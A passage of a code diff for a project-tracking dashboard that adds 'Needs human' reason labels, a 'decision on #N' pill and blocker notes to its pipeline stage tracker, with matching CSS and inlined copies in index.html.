stageTrackerOverlapBadgeHtml(item) : ''); const mods = (Array.isArray(item.modifiers) ? item.modifiers.slice() : []) @@ -712,8 +741,10 @@ // A row the scheduler withholds for open GitHub "blocked by" dependencies names them (hivecommons/hive#14765); // one blocked on a PR (hive:blocked-on marker) names it and links to it (hivecommons/hive#14952). const blockedPR = mods[0] === 'blocked' ? stageTrackerBlockedOnPR(item) : null; + const decisionPR = mods[0] === 'blocked' && !blockedPR ? stageTrackerBlockedForDecisionPR(item) : null; if (mods[0] === 'blocked' && Array.isArray(item.blocked_on) && item.blocked_on.length) text = stageTrackerBlockedTip(item); else if (blockedPR) text = 'blocked on ' + blockedPR.short; + else if (decisionPR) text = 'decision on #' + Number(decisionPR.number); // A blocked row with a hive:recheck-after deadline ("blocked until <RFC3339>") names when the sweep re-checks it. const recheck = mods[0] === 'blocked' ? /^blocked until (\S+)/i.exec(String(item.bucket_reason || '')) : null; const recheckMs = recheck ? Date.parse(recheck[1]) : NaN; @@ -725,7 +756,14 @@ // the regressed pill explains itself; a blocked pill names what it waits on; // failing all three, a draft pill does. const anyBlockedPR = mods.indexOf('blocked') >= 0 ? stageTrackerBlockedOnPR(item) : null; + // A needs-human pill's hover is the full ask (hivecommons/docs#612 + // showed a bare muted "needs human" with no reason anywhere on the row). + const askable = mods[0] === 'needs-human' || mods[0] === 'needs-decision'; + const ask = (askable && typeof stageTrackerHumanAttentionOf === 'function' && stageTrackerHumanAttentionOf(item)) + || (askable && typeof stageTrackerNeedsHumanAsk === 'function' && stageTrackerNeedsHumanAsk(item)) || null; const tip = (mods.indexOf('unauthorized') >= 0 && String(item.unauthorized || '').trim()) || regressed + || (decisionPR ? 'Blocked only because PR #' + Number(decisionPR.number) + ' waits on a human decision' + (decisionPR.decision_needed && decisionPR.decision_needed.question ? ' β€” ' + decisionPR.decision_needed.question : '') : '') + || (ask ? ask.reason : '') || (holdPill && typeof stageTrackerHoldTip === 'function' ? stageTrackerHoldTip(item, Date.now()) : '') || (mods.indexOf('blocked') >= 0 && Array.isArray(item.blocked_on) && item.blocked_on.length ? 'Withheld from the scanner until ' + item.blocked_on.join(', ') + (item.blocked_on.length > 1 ? ' close' : ' closes') : '') || (anyBlockedPR ? anyBlockedPR.tip : '') @@ -738,8 +776,12 @@ // popover (what to decide, who asked, the applicable actions) instead // of a native tooltip. // A hive-set hold is a decision too (release or keep): its pill opens the same popover. - const decision = (mods[0] === 'needs-human' || mods[0] === 'needs-decision' || (holdPill && item.hold && item.hold.by === 'hive')) && typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; + const decision = (mods[0] === 'needs-human' || mods[0] === 'needs-decision' || decisionPR || (holdPill && item.hold && item.hold.by === 'hive')) && typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; if (decision) return sentinel + stageTrackerDecisionTriggerHtml(decision, inner, tip, 'ham-badge ham-badge-mod ' + cls); + // No popover to open (the ask is the issue's own while a covering + // PR drives the strip): the pill is a button that reveals the row's + // "Needs human: …" note line and carries the full reason as its hover. + if (ask && typeof stageTrackerItemKey === 'function') return sentinel + `<button type="button" class="ham-badge ham-badge-mod ${esc(cls)} ham-needs-human-pill" data-action="stageTrackerNeedsHumanReveal" data-arg0="${esc(stageTrackerItemKey(item))}" data-stop="1" title="${esc(tip)}" aria-label="${esc(text + ' β€” ' + ask.reason + '. Click to show why on the row.')}">${inner}</button>`; return sentinel + `<span class="ham-badge ham-badge-mod ${esc(cls)}"${tip ? ` title="${esc(tip)}"` : ''}>${inner}</span>`; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row.js b/src/pkg/dashboard/static-src/js/tracker-row.js index b47b42ebe0..609e076a22 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row.js +++ b/src/pkg/dashboard/static-src/js/tracker-row.js @@ -19,6 +19,15 @@ const detour = (!terminal && !pushedBack && STAGE_TRACKER_PATH.indexOf(cur) < 0 && cur !== STAGE_TRACKER_TRIAGE_NEEDED && cur !== STAGE_TRACKER_POSSIBLY_EXISTS && cur !== 40 && cur !== 60 && cur !== STAGE_TRACKER_PRE_MERGE_SOAK && cur !== 100) ? { text: sentinelLane ? STAGE_TRACKER_SENTINEL_WORD : (cur === STAGE_TRACKER_HUMAN_GATED && typeof stageTrackerTrainWord === 'function' && stageTrackerTrainWord(item)) || (cur === STAGE_TRACKER_READY_FOR_HUMAN_MERGE && item.manual_merge ? stageTrackerManualMergeWord(item) : (cur === STAGE_TRACKER_HUMAN_GATED && stageTrackerUnauthorizedWord(item)) || (typeof stageTrackerBlockerWord === 'function' && cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION && stageTrackerBlockerWord(item)) || ((cur === STAGE_TRACKER_ADOPTED_BY_HIVE || (cur === STAGE_TRACKER_HUMAN_GATED && item.adopted_by_state)) && stageTrackerAdoptedWord(item)) || (cur === STAGE_TRACKER_READY_FOR_HUMAN_MERGE && stageTrackerReadyForHumanWord(item, STAGE_TRACKER_ACTIVE_WORD[cur] || curStage.short || curStage.label || String(cur))) || (STAGE_TRACKER_ACTIVE_WORD[cur] || curStage.short || curStage.label || String(cur))), sentinel: sentinelLane } : null; if (detour && cur === 70 && !detour.sentinel && typeof stageTrackerFixingWord === 'function') detour.text = stageTrackerFixingWord(item, detour.text); + // A bare "Needs human decision" (045 / 085) says why in the chevron + // itself β€” "Needs human Β· edits CI workflows" β€” when a short reason + // is known (rationguard#480: "what does 'needs human' mean?"). A + // word already carrying its why (Blocked Β· …, Waiting for @x Β· …, + // the train, the sentinel) stands. + if (detour && (cur === STAGE_TRACKER_NEEDS_DECISION || cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION) && !detour.sentinel && detour.text === STAGE_TRACKER_ACTIVE_WORD[cur] && typeof stageTrackerNeedsHumanWord === 'function') { + const nh = stageTrackerNeedsHumanWord(item); + if (nh) detour.text = nh; + } if (detour && (cur === 71 || cur === 72) && typeof stageTrackerReturnedWord === 'function') { detour.text = stageTrackerReturnedWord(item, detour.text); detour.sentinelSuffix = stageTrackerSentinelAsSuffix(item); @@ -88,7 +97,12 @@ const os = stageTrackerOpenSince(item); if (os.ms) { word += ' Β· since ' + stageTrackerShortAgo(nowMs - os.ms); openSince = Object.assign({ stale: !openDraft && nowMs - os.ms > STAGE_TRACKER_OPEN_STALE_DAYS * 86400000 }, os); } } - return { number: n, code: n ? String(n).padStart(3, '0') : '', short: word, label: (typeof stageTrackerStageName === 'function' && (stageTrackerStageName(tipStage) || stageTrackerStageName(st))) || tipStage.label || st.label || String(n), description: tipStage.description || st.description || '', state, terminal: false, detour: n === anchor ? detour : null, hold: openHold, blocked: openBlocked, draft: openDraft, isNew: openNew && !advisory, advisory: !!advisory, openSince }; + // An issue parked on a blocker whose strip a human's covering PR + // drives (via_pr): the issue's own column keeps the blocker in + // view β€” "Blocked Β· App lacks workflows permission πŸ‘€" β€” rather + // than reading as a passed step (hivecommons/docs#612 under #620). + const blockerNote = state === 'done' && n === STAGE_TRACKER_ISSUE_DECISION_COLUMN && item.via_pr && item.kind === 'issue' && item.blocker && typeof stageTrackerBlockerWord === 'function' && (item.needs_human === true || (typeof stageTrackerItemNeedsHuman === 'function' && stageTrackerItemNeedsHuman(item))) ? stageTrackerBlockerWord(item) : ''; + return { number: n, code: n ? String(n).padStart(3, '0') : '', short: word, blockerNote, label: (typeof stageTrackerStageName === 'function' && (stageTrackerStageName(tipStage) || stageTrackerStageName(st))) || tipStage.label || st.label || String(n), description: tipStage.description || st.description || '', state, terminal: false, detour: n === anchor ? detour : null, hold: openHold, blocked: openBlocked, draft: openDraft, isNew: openNew && !advisory, advisory: !!advisory, openSince }; }); segs.push({ number: STAGE_TRACKER_TERMINAL, code: '', short: 'Merged', label: 'Merged', description: 'Merged β€” the pipeline is complete', state: terminal ? 'active' : 'todo', terminal, cap: true, detour: null }); return segs; diff --git a/src/pkg/dashboard/static-src/js/tracker-words-core.js b/src/pkg/dashboard/static-src/js/tracker-words-core.js index f4eb979adf..fa4bd49384 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-core.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-core.js @@ -88,6 +88,44 @@ const short = String((b && b.short) || '').trim(); return short ? STAGE_TRACKER_BLOCKED_WORD + ' Β· ' + short : ''; } + // Why a person is needed, in a few words, for the row itself to say + // (hivecommons/docs#612, rationguard#480: "it's not clear reading the + // row why a human is needed"). The structured blocker's short text + // first; else the server's reason key (stage_actor.human_reason, the + // human-merge reason, the clause after "β€”" in stage_actor.why) through + // a small map of known reasons; else that clause's first sentence. + const STAGE_TRACKER_NEEDS_HUMAN_SHORT = { + 'workflow path': 'edits CI workflows', + 'hive signoff attribution': 'hive signoff attribution', + 'high-risk review': 'high-risk review', + 'optional check failing': 'optional check failing', + 'capability:workflows-permission': 'App lacks workflows permission', + }; + const STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX = 48; + const STAGE_TRACKER_NEEDS_HUMAN_WORD = 'Needs human'; + function stageTrackerNeedsHumanShort(item) { + if (!item) return ''; + const b = item.blocker; + if (b && String(b.short || '').trim()) return String(b.short).trim(); + if (b && STAGE_TRACKER_NEEDS_HUMAN_SHORT[String(b.kind || '').trim()]) return STAGE_TRACKER_NEEDS_HUMAN_SHORT[String(b.kind || '').trim()]; + const sa = item.stage_actor || {}; + const afterDash = s => { const t = String(s || ''); const i = t.indexOf(' β€” '); return i >= 0 ? t.slice(i + 3) : ''; }; + const keys = [sa.human_reason, item.human_merge_reason, afterDash(sa.why), afterDash(item.caption), item.reason]; + for (const k of keys) { + const key = String(k || '').replace(/\s+/g, ' ').trim().toLowerCase(); + if (key && STAGE_TRACKER_NEEDS_HUMAN_SHORT[key]) return STAGE_TRACKER_NEEDS_HUMAN_SHORT[key]; + } + const clause = String(afterDash(sa.why) || sa.human_reason || '').replace(/\s+/g, ' ').trim().split(/[;.](?:\s|$)/)[0].trim(); + if (!clause) return ''; + return clause.length > STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX ? clause.slice(0, STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX - 1).replace(/\s+\S*$/, '') + '…' : clause; + } + // The lit 045 / 085 chevron's caption: "Needs human Β· edits CI + // workflows" rather than a bare "Needs human decision". '' when no + // short reason is known (the plain stage word stands). + function stageTrackerNeedsHumanWord(item) { + const short = stageTrackerNeedsHumanShort(item); + return short ? STAGE_TRACKER_NEEDS_HUMAN_WORD + ' Β· ' + short : ''; + } // A decomposed parent at 010 (server `open_children` > 0, hive#16481) // reads "Tracking Β· 3/4" (children known) or "Tracking Β· 1 open child", // never "Actionable": the scanner leaves it to its children, so the diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 7a018174c7..8e44fe5616 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1695,6 +1695,12 @@ done-style step that keeps its word (stage_tracker_remediation.go). */ .ham-seg.active.ham-remediation-unassigned { background: color-mix(in srgb, var(--amber) 70%, var(--red)); } .ham-seg.done.ham-fix-pushed { color: var(--green); } +/* A done decision column that still names the blocker a person must + clear while a covering PR drives the strip (hivecommons/docs#612). */ +.ham-seg.done.ham-blocker-note { color: var(--amber); opacity: 1; } +/* The "needs human" pill is a button: click scrolls to the Needs human line. */ +.ham-needs-human-pill { cursor: pointer; font: inherit; } +.ham-needs-human-pill:hover, .ham-needs-human-pill:focus-visible { text-decoration: underline; } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } @@ -15468,6 +15474,44 @@ <h3 class="faq-group-title">Where to get help</h3> const short = String((b && b.short) || '').trim(); return short ? STAGE_TRACKER_BLOCKED_WORD + ' Β· ' + short : ''; } + // Why a person is needed, in a few words, for the row itself to say + // (hivecommons/docs#612, rationguard#480: "it's not clear reading the + // row why a human is needed"). The structured blocker's short text + // first; else the server's reason key (stage_actor.human_reason, the + // human-merge reason, the clause after "β€”" in stage_actor.why) through + // a small map of known reasons; else that clause's first sentence. + const STAGE_TRACKER_NEEDS_HUMAN_SHORT = { + 'workflow path': 'edits CI workflows', + 'hive signoff attribution': 'hive signoff attribution', + 'high-risk review': 'high-risk review', + 'optional check failing': 'optional check failing', + 'capability:workflows-permission': 'App lacks workflows permission', + }; + const STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX = 48; + const STAGE_TRACKER_NEEDS_HUMAN_WORD = 'Needs human'; + function stageTrackerNeedsHumanShort(item) { + if (!item) return ''; + const b = item.blocker; + if (b && String(b.short || '').trim()) return String(b.short).trim(); + if (b && STAGE_TRACKER_NEEDS_HUMAN_SHORT[String(b.kind || '').trim()]) return STAGE_TRACKER_NEEDS_HUMAN_SHORT[String(b.kind || '').trim()]; + const sa = item.stage_actor || {}; + const afterDash = s => { const t = String(s || ''); const i = t.indexOf(' β€” '); return i >= 0 ? t.slice(i + 3) : ''; }; + const keys = [sa.human_reason, item.human_merge_reason, afterDash(sa.why), afterDash(item.caption), item.reason]; + for (const k of keys) { + const key = String(k || '').replace(/\s+/g, ' ').trim().toLowerCase(); + if (key && STAGE_TRACKER_NEEDS_HUMAN_SHORT[key]) return STAGE_TRACKER_NEEDS_HUMAN_SHORT[key]; + } + const clause = String(afterDash(sa.why) || sa.human_reason || '').replace(/\s+/g, ' ').trim().split(/[;.](?:\s|$)/)[0].trim(); + if (!clause) return ''; + return clause.length > STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX ? clause.slice(0, STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX - 1).replace(/\s+\S*$/, '') + '…' : clause; + } + // The lit 045 / 085 chevron's caption: "Needs human Β· edits CI + // workflows" rather than a bare "Needs human decision". '' when no + // short reason is known (the plain stage word stands). + function stageTrackerNeedsHumanWord(item) { + const short = stageTrackerNeedsHumanShort(item); + return short ? STAGE_TRACKER_NEEDS_HUMAN_WORD + ' Β· ' + short : ''; + } // A decomposed parent at 010 (server `open_children` > 0, hive#16481) // reads "Tracking Β· 3/4" (children known) or "Tracking Β· 1 open child", // never "Actionable": the scanner leaves it to its children, so the @@ -17478,6 +17522,15 @@ <h3 class="faq-group-title">Where to get help</h3> const detour = (!terminal && !pushedBack && STAGE_TRACKER_PATH.indexOf(cur) < 0 && cur !== STAGE_TRACKER_TRIAGE_NEEDED && cur !== STAGE_TRACKER_POSSIBLY_EXISTS && cur !== 40 && cur !== 60 && cur !== STAGE_TRACKER_PRE_MERGE_SOAK && cur !== 100) ? { text: sentinelLane ? STAGE_TRACKER_SENTINEL_WORD : (cur === STAGE_TRACKER_HUMAN_GATED && typeof stageTrackerTrainWord === 'function' && stageTrackerTrainWord(item)) || (cur === STAGE_TRACKER_READY_FOR_HUMAN_MERGE && item.manual_merge ? stageTrackerManualMergeWord(item) : (cur === STAGE_TRACKER_HUMAN_GATED && stageTrackerUnauthorizedWord(item)) || (typeof stageTrackerBlockerWord === 'function' && cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION && stageTrackerBlockerWord(item)) || ((cur === STAGE_TRACKER_ADOPTED_BY_HIVE || (cur === STAGE_TRACKER_HUMAN_GATED && item.adopted_by_state)) && stageTrackerAdoptedWord(item)) || (cur === STAGE_TRACKER_READY_FOR_HUMAN_MERGE && stageTrackerReadyForHumanWord(item, STAGE_TRACKER_ACTIVE_WORD[cur] || curStage.short || curStage.label || String(cur))) || (STAGE_TRACKER_ACTIVE_WORD[cur] || curStage.short || curStage.label || String(cur))), sentinel: sentinelLane } : null; if (detour && cur === 70 && !detour.sentinel && typeof stageTrackerFixingWord === 'function') detour.text = stageTrackerFixingWord(item, detour.text); + // A bare "Needs human decision" (045 / 085) says why in the chevron + // itself β€” "Needs human Β· edits CI workflows" β€” when a short reason + // is known (rationguard#480: "what does 'needs human' mean?"). A + // word already carrying its why (Blocked Β· …, Waiting for @x Β· …, + // the train, the sentinel) stands. + if (detour && (cur === STAGE_TRACKER_NEEDS_DECISION || cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION) && !detour.sentinel && detour.text === STAGE_TRACKER_ACTIVE_WORD[cur] && typeof stageTrackerNeedsHumanWord === 'function') { + const nh = stageTrackerNeedsHumanWord(item); + if (nh) detour.text = nh; + } if (detour && (cur === 71 || cur === 72) && typeof stageTrackerReturnedWord === 'function') { detour.text = stageTrackerReturnedWord(item, detour.text); detour.sentinelSuffix = stageTrackerSentinelAsSuffix(item); @@ -17547,7 +17600,12 @@ <h3 class="faq-group-title">Where to get help</h3> const os = stageTrackerOpenSince(item); if (os.ms) { word += ' Β· since ' + stageTrackerShortAgo(nowMs - os.ms); openSince = Object.assign({ stale: !openDraft && nowMs - os.ms > STAGE_TRACKER_OPEN_STALE_DAYS * 86400000 }, os); } } - return { number: n, code: n ? String(n).padStart(3, '0') : '', short: word, label: (typeof stageTrackerStageName === 'function' && (stageTrackerStageName(tipStage) || stageTrackerStageName(st))) || tipStage.label || st.label || String(n), description: tipStage.description || st.description || '', state, terminal: false, detour: n === anchor ? detour : null, hold: openHold, blocked: openBlocked, draft: openDraft, isNew: openNew && !advisory, advisory: !!advisory, openSince }; + // An issue parked on a blocker whose strip a human's covering PR + // drives (via_pr): the issue's own column keeps the blocker in + // view β€” "Blocked Β· App lacks workflows permission πŸ‘€" β€” rather + // than reading as a passed step (hivecommons/docs#612 under #620). + const blockerNote = state === 'done' && n === STAGE_TRACKER_ISSUE_DECISION_COLUMN && item.via_pr && item.kind === 'issue' && item.blocker && typeof stageTrackerBlockerWord === 'function' && (item.needs_human === true || (typeof stageTrackerItemNeedsHuman === 'function' && stageTrackerItemNeedsHuman(item))) ? stageTrackerBlockerWord(item) : ''; + return { number: n, code: n ? String(n).padStart(3, '0') : '', short: word, blockerNote, label: (typeof stageTrackerStageName === 'function' && (stageTrackerStageName(tipStage) || stageTrackerStageName(st))) || tipStage.label || st.label || String(n), description: tipStage.description || st.description || '', state, terminal: false, detour: n === anchor ? detour : null, hold: openHold, blocked: openBlocked, draft: openDraft, isNew: openNew && !advisory, advisory: !!advisory, openSince }; }); segs.push({ number: STAGE_TRACKER_TERMINAL, code: '', short: 'Merged', label: 'Merged', description: 'Merged β€” the pipeline is complete', state: terminal ? 'active' : 'todo', terminal, cap: true, detour: null }); return segs; @@ -18141,7 +18199,10 @@ <h3 class="faq-group-title">Where to get help</h3> const to = range && range.to != null ? range.to : Infinity; const actorKind = stageTrackerActorKind(item); const humanIcon = actorKind === 'human' || actorKind === 'maintainer'; - const humanRequired = typeof stageTrackerHumanAttentionOf !== 'function' || !!stageTrackerHumanAttentionOf(item); + // A current requirement from the server (human_attention), or a + // decision the row carries itself (045 / 085 with decision_needed, + // which the server leaves out of human_attention past the gate). + const humanRequired = typeof stageTrackerHumanAttentionOf !== 'function' || !!stageTrackerHumanAttentionOf(item) || (typeof stageTrackerNeedsHumanAsk === 'function' && !!stageTrackerNeedsHumanAsk(item)); const actorIco = actorKind && (!humanIcon || humanRequired) ? stageTrackerIcon(actorKind, 'ham-ico ham-actor-ico', 'Next move: ' + actorKind) : ''; const actorTip = stageTrackerActorTip(item); // Guarded: test harnesses lift this function by name without stageTrackerHumanReason. @@ -18198,7 +18259,8 @@ <h3 class="faq-group-title">Where to get help</h3> const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); const fixPushed = sg.number === 30 && sg.state === 'done' && remediation === 'fix_pushed'; - const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.state === 'active' && !sg.cap && waitingOnTracks ? 'ham-settled-current' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); + const blockerNote = sg.state === 'done' && sg.blockerNote ? String(sg.blockerNote) : ''; + const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.state === 'active' && !sg.cap && waitingOnTracks ? 'ham-settled-current' : '', fixPushed ? 'ham-fix-pushed' : '', blockerNote ? 'ham-blocker-note' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; let gateCaption = ''; @@ -18286,6 +18348,14 @@ <h3 class="faq-group-title">Where to get help</h3> // Inactive = icon only (hivecommons/hive#16599): the pushed fix is // the green glyph; its caption rides the tooltip. inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; + } else if (blockerNote) { + // The issue's own column keeps the blocker in view while the + // covering PR's strip runs (hivecommons/docs#612): the word, the + // person glyph, and the blocker's detail as the hover. + const b = item.blocker || {}; + const noteTip = [blockerNote, b.detail, item.human_attention && item.human_attention.reason].filter(Boolean).join(' β€” '); + const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); + inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(noteTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span class="ham-chevron-copy"><span class="ham-seg-t">${esc(blockerNote)}</span></span>${stageTrackerIcon('human', 'ham-ico ham-actor-ico', 'Next move: human')}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(noteTip)}</span></span>`; } else inner = stageTrackerIcon(sg.number, 'ham-ico'); return `<li class="${cls}"${remediation && sg.number === 30 && (active || fixPushed) ? ` data-remediation="${esc(remediation)}"` : ''}${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); @@ -18501,6 +18571,23 @@ <h3 class="faq-group-title">Where to get help</h3> return lines.join('\n'); } + // Pure: the one open covering PR an issue's `blocked` pill stands for + // when nothing else blocks the issue β€” no structured blocker, no + // blocked_on dependencies, no blocked-on-PR marker, no re-check + // deadline β€” and that PR is parked on a human decision (085). The + // pill then reads "decision on #N" rather than a bare "blocked" + // (rationguard#431 under #480). null otherwise. + function stageTrackerBlockedForDecisionPR(item) { + if (!item || item.kind !== 'issue' || item.blocker) return null; + if (Array.isArray(item.blocked_on) && item.blocked_on.length) return null; + if (typeof stageTrackerBlockedOnPR === 'function' && stageTrackerBlockedOnPR(item)) return null; + if (/^blocked until /i.test(String(item.bucket_reason || ''))) return null; + const open = (Array.isArray(item.linked_prs) ? item.linked_prs : []).filter(lp => lp && (typeof stageTrackerLinkedPROpen !== 'function' || stageTrackerLinkedPROpen(lp, item))); + if (open.length !== 1) return null; + const lp = open[0]; + const parked = Number(lp.stage) === STAGE_TRACKER_NEEDS_DECISION || (Array.isArray(lp.modifiers) && lp.modifiers.indexOf('needs-decision') >= 0) || !!(lp.decision_needed && lp.decision_needed.question); + return parked ? lp : null; + } function stageTrackerChipsHtml(item) { const sentinel = stageTrackerSentinelChipHtml(item) + (typeof stageTrackerPreparationChipHtml === 'function' ? stageTrackerPreparationChipHtml(item) : '') + (typeof stageTrackerAdoptionChipHtml === 'function' ? stageTrackerAdoptionChipHtml(item) : '') + (typeof stageTrackerPresenceChipHtml === 'function' ? stageTrackerPresenceChipHtml(item) : '') + (typeof stageTrackerPushChipHtml === 'function' ? stageTrackerPushChipHtml(item, Date.now()) : '') + (typeof stageTrackerReroutePillHtml === 'function' ? stageTrackerReroutePillHtml(item) : '') + (typeof stageTrackerSupersedesChipHtml === 'function' ? stageTrackerSupersedesChipHtml(item, Date.now()) : '') + (typeof stageTrackerOverlapBadgeHtml === 'function' ? stageTrackerOverlapBadgeHtml(item) : ''); const mods = (Array.isArray(item.modifiers) ? item.modifiers.slice() : []) @@ -18520,8 +18607,10 @@ <h3 class="faq-group-title">Where to get help</h3> // A row the scheduler withholds for open GitHub "blocked by" dependencies names them (hivecommons/hive#14765); // one blocked on a PR (hive:blocked-on marker) names it and links to it (hivecommons/hive#14952). const blockedPR = mods[0] === 'blocked' ? stageTrackerBlockedOnPR(item) : null; + const decisionPR = mods[0] === 'blocked' && !blockedPR ? stageTrackerBlockedForDecisionPR(item) : null; if (mods[0] === 'blocked' && Array.isArray(item.blocked_on) && item.blocked_on.length) text = stageTrackerBlockedTip(item); else if (blockedPR) text = 'blocked on ' + blockedPR.short; + else if (decisionPR) text = 'decision on #' + Number(decisionPR.number); // A blocked row with a hive:recheck-after deadline ("blocked until <RFC3339>") names when the sweep re-checks it. const recheck = mods[0] === 'blocked' ? /^blocked until (\S+)/i.exec(String(item.bucket_reason || '')) : null; const recheckMs = recheck ? Date.parse(recheck[1]) : NaN; @@ -18533,7 +18622,14 @@ <h3 class="faq-group-title">Where to get help</h3> // the regressed pill explains itself; a blocked pill names what it waits on; // failing all three, a draft pill does. const anyBlockedPR = mods.indexOf('blocked') >= 0 ? stageTrackerBlockedOnPR(item) : null; + // A needs-human pill's hover is the full ask (hivecommons/docs#612 + // showed a bare muted "needs human" with no reason anywhere on the row). + const askable = mods[0] === 'needs-human' || mods[0] === 'needs-decision'; + const ask = (askable && typeof stageTrackerHumanAttentionOf === 'function' && stageTrackerHumanAttentionOf(item)) + || (askable && typeof stageTrackerNeedsHumanAsk === 'function' && stageTrackerNeedsHumanAsk(item)) || null; const tip = (mods.indexOf('unauthorized') >= 0 && String(item.unauthorized || '').trim()) || regressed + || (decisionPR ? 'Blocked only because PR #' + Number(decisionPR.number) + ' waits on a human decision' + (decisionPR.decision_needed && decisionPR.decision_needed.question ? ' β€” ' + decisionPR.decision_needed.question : '') : '') + || (ask ? ask.reason : '') || (holdPill && typeof stageTrackerHoldTip === 'function' ? stageTrackerHoldTip(item, Date.now()) : '') || (mods.indexOf('blocked') >= 0 && Array.isArray(item.blocked_on) && item.blocked_on.length ? 'Withheld from the scanner until ' + item.blocked_on.join(', ') + (item.blocked_on.length > 1 ? ' close' : ' closes') : '') || (anyBlockedPR ? anyBlockedPR.tip : '') @@ -18546,8 +18642,12 @@ <h3 class="faq-group-title">Where to get help</h3> // popover (what to decide, who asked, the applicable actions) instead // of a native tooltip. // A hive-set hold is a decision too (release or keep): its pill opens the same popover. - const decision = (mods[0] === 'needs-human' || mods[0] === 'needs-decision' || (holdPill && item.hold && item.hold.by === 'hive')) && typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; + const decision = (mods[0] === 'needs-human' || mods[0] === 'needs-decision' || decisionPR || (holdPill && item.hold && item.hold.by === 'hive')) && typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; if (decision) return sentinel + stageTrackerDecisionTriggerHtml(decision, inner, tip, 'ham-badge ham-badge-mod ' + cls); + // No popover to open (the ask is the issue's own while a covering + // PR drives the strip): the pill is a button that reveals the row's + // "Needs human: …" note line and carries the full reason as its hover. + if (ask && typeof stageTrackerItemKey === 'function') return sentinel + `<button type="button" class="ham-badge ham-badge-mod ${esc(cls)} ham-needs-human-pill" data-action="stageTrackerNeedsHumanReveal" data-arg0="${esc(stageTrackerItemKey(item))}" data-stop="1" title="${esc(tip)}" aria-label="${esc(text + ' β€” ' + ask.reason + '. Click to show why on the row.')}">${inner}</button>`; return sentinel + `<span class="ham-badge ham-badge-mod ${esc(cls)}"${tip ? ` title="${esc(tip)}"` : ''}>${inner}</span>`; } @@ -18790,28 +18890,99 @@ <h3 class="faq-group-title">Where to get help</h3> if (a.kind === 'pr' && String(a.head || '') !== String(item.head || '')) return null; return a; } - function stageTrackerHumanAttentionLine(item) { - const a = stageTrackerHumanAttentionOf(item); + // Pure: the decision a row carries itself when the server supplies no + // human_attention β€” a 045 issue or 085 PR with decision_needed, or a + // needs-human flag with a blocker (hivecommons/docs#612, rationguard#480). + // Same shape as human_attention ({reason, asked_by, question, synthetic}) + // so the note line reads the same either way. null when the row is not + // parked on a person, or when human_attention already says it. + function stageTrackerNeedsHumanAsk(item) { + if (!item || item.advisory || item.hold || item.state === 'closed' || Number(item.stage) >= STAGE_TRACKER_TERMINAL + || item.superseded_by || item.adopted_by) return null; + const mods = Array.isArray(item.modifiers) ? item.modifiers : []; + if (mods.some(m => m === 'draft' || m === 'hold' || m === 'merged')) return null; + if (stageTrackerHumanAttentionOf(item)) return null; + const n = Number(item.stage) || 0; + const flagged = item.needs_human === true || mods.indexOf('needs-human') >= 0 || 